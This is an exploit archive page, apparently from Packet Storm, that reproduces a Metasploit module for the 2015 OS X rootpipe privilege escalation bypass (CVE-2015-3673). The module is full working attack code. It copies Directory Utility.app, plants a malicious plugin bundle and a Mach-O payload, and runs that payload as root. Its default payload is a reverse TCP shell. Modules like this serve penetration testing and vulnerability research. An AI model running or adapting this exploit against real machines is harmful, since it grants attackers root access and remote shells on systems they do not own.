exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Apple OS X Entitlements Rootpipe Privilege Escalation

Apple OS X Entitlements Rootpipe Privilege Escalation
Posted Aug 28, 2015
Authored by joev, Emil Kvarnhammar | Site metasploit.com

This Metasploit module exploits the rootpipe vulnerability and bypasses Apple's initial fix for the issue by injecting code into a process with the 'admin.writeconfig' entitlement.

tags | exploit
systems | apple
advisories | CVE-2015-3673
SHA-256 | 675bfb209258c4d794420d872c3ae4a648abbf5cb0e2af4ea23e9559348211b2

Apple OS X Entitlements Rootpipe Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Local

Rank = GreatRanking

include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Apple OS X Entitlements Rootpipe Privilege Escalation',
'Description' => %q{
This module exploits the rootpipe vulnerability and bypasses Apple's initial
fix for the issue by injecting code into a process with the 'admin.writeconfig'
entitlement.
},
'Author' => [
'Emil Kvarnhammar', # Vulnerability discovery and PoC
'joev' # Copy/paste monkey
],
'References' => [
['CVE', '2015-3673'],
['URL', 'https://truesecdev.wordpress.com/2015/07/01/exploiting-rootpipe-again/']
],
'DisclosureDate' => 'Jul 1 2015',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86_64,
'SessionTypes' => ['shell'],
'Privileged' => true,
'Targets' => [
['Mac OS X 10.9-10.10.3', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
'PrependSetreuid' => true
}
))

register_options([
OptString.new('WRITABLEDIR', [true, 'Writable directory', '/.Trashes'])
])
end

def check
if ver? && admin?
vprint_status("Version is between 10.9 and 10.10.3, and is admin.")
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

def exploit
print_status("Copying Directory Utility.app to #{new_app}")
cmd_exec("cp -R '/System/Library/CoreServices/Applications/Directory Utility.app' '#{new_app}'")
cmd_exec("mkdir -p '#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS'")

print_status("Writing bundle plist to `#{plist_file}'")
write_file(plist_file, plist)

print_status("Writing payload to `#{payload_file}'")
write_file(payload_file, binary_payload)
register_file_for_cleanup(payload_file)

print_status("Writing malicious shared library to `#{exploit_file}'")
write_file(exploit_file, plugin_exploit)

print_status("Running Directory Utility.app")
cmd_exec("/bin/sh -c 'PAYLOAD_IN="+payload_file+" PAYLOAD_OUT="+root_file+" #{new_app}/Contents/MacOS/Directory\\ Utility'")

print_status("Deleting Directory Utility.app")
cmd_exec('rm -Rf "#{new_app}"')

print_status('Executing payload...')
cmd_exec("/bin/sh -c '#{root_file} &'")
end

def ver?
Gem::Version.new(get_sysinfo['ProductVersion']).between?(
Gem::Version.new('10.9'), Gem::Version.new('10.10.3')
)
end

def admin?
cmd_exec('groups | grep -wq admin && echo true') == 'true'
end

def sploit
"#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
end

def plugin_exploit
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2015-3673', 'exploit.daplug'
))
end

def binary_payload
Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
end

def exploit_file
"#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS/RootpipeBundle"
end

def plist_file
"#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/Info.plist"
end

def new_app
@app ||= "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}.app"
end

def plist
%Q|
<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0">
<dict>
<key>CFBundleGetInfoString</key>
<string>RootpipeBundle</string>
<key>CFBundleExecutable</key>
<string>RootpipeBundle</string>
<key>CFBundleIdentifier</key>
<string>com.root.pipe</string>
<key>CFBundleName</key>
<string>RootpipeBundle</string>
<key>CFBundleShortVersionString</key>
<string>0.01</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>IFMajorVersion</key>
<integer>0</integer>
<key>IFMinorVersion</key>
<integer>1</integer>
</dict>
</plist>
|
end

def payload_file
@payload_file ||=
"#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}"
end

def root_file
@root_file ||=
"#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}"
end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close